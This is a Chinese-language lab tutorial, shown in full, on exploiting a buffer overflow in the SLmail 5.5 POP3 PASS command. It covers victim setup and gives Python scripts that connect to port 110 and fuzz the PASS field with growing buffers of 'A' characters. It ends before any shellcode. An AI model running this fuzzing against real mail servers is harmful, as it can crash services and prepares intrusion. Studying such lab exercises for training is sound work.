环境搭建所需
1.SLmail5.5
2.ImmunityDebugger
3.mona.py(可在github下载)
使用系统环境:
Contorl:kali_linux
victim:xp_sp3纯净版
开始测试
0x00在xp中安装slmail服务器
一路到底进行安装就行,记得随便设置一个例如lab.com的地址
一路next后到了选择虚拟机名字处,选择自己的虚拟机
然后还有个选择账户就选择本机账户就行了
接着finish自动重启
重启完后打开cmd查看开启的端口
发现25 8379等端口都被开启了,slmail服务应该成功启动了
使用cmd打开services.msc查看服务是否开启
发现POP3(邮件读取的协议)SMTP(邮件发送的协议)等服务都已开启
0x01安装ImmunityDebugger
在安装ImmunityDebugger时没有什么太需要注意的地方,只是python2.7如果目标环境未安装则会自动安装
注意ImmunityDebugger不支持python3.几版本
安装完毕后,需要将之前提到的mona.py放进ImmunityDebugger的脚本库中
具体位置为
直接将mona放进去即可
0x02测试是否能使用SMTP服务
这时候打开自己的攻击机,试着ping一下目标ip
发现ping不通,应该是目标的防火墙未开启服务端口110和25端口
打开受害机的防火墙设置
添加25和110端口进入防火墙允许的范围
接着打开ICMP的设置页面
允许ping到本机
设置完后就可以进行ping操作和slmail服务器连接了
接着利用nc指令测试25端口和110端口是否连接
均已成功
0x03进行SLMAIL的PASS命令缓存区溢出攻击
首先写了一个测试的py脚本
代码如下:
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
print "\nSending..."
s.connect(('192.168.0.111',110))
data=s.recv(1024)
print data
s.send('user mxfei\r\n')
data=s.recv(1024)
print data
s.send('pass test\r\n')
data=s.recv(1024)
print data
s.close()
print "\nDone!"
except:
print "error!"
结果发现权限不够
因此使用kali的chmod命令进行提权
提权完后进行检测发现能够利用脚本成功连接
既然能够成功连接那么我们就可以开始来进行缓存区溢出的测试攻击了,先写个脚本测试下溢出范围是多少
代码如下:
#!/usr/bin/python
import socket
buffer=["A"]
counter=100
while len(buffer)<=50:
buffer.append("A"*counter)
counter=counter+200
for string in buffer:
print "\nNow sending %s byte" % len(string)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.0.111',110))
s.recv(1024)
s.send('user mxfei\r\n')
s.recv(1024)
s.send('pass '+string+'\r\n')
s.send('quit\r\n')
s.close
大致的意思是先建一个buffer的list,接着在list里面添加成50个元素,每个元素是每次递增的200个A
比如第一个元素是1个A(初始),第二个是100个A(counter)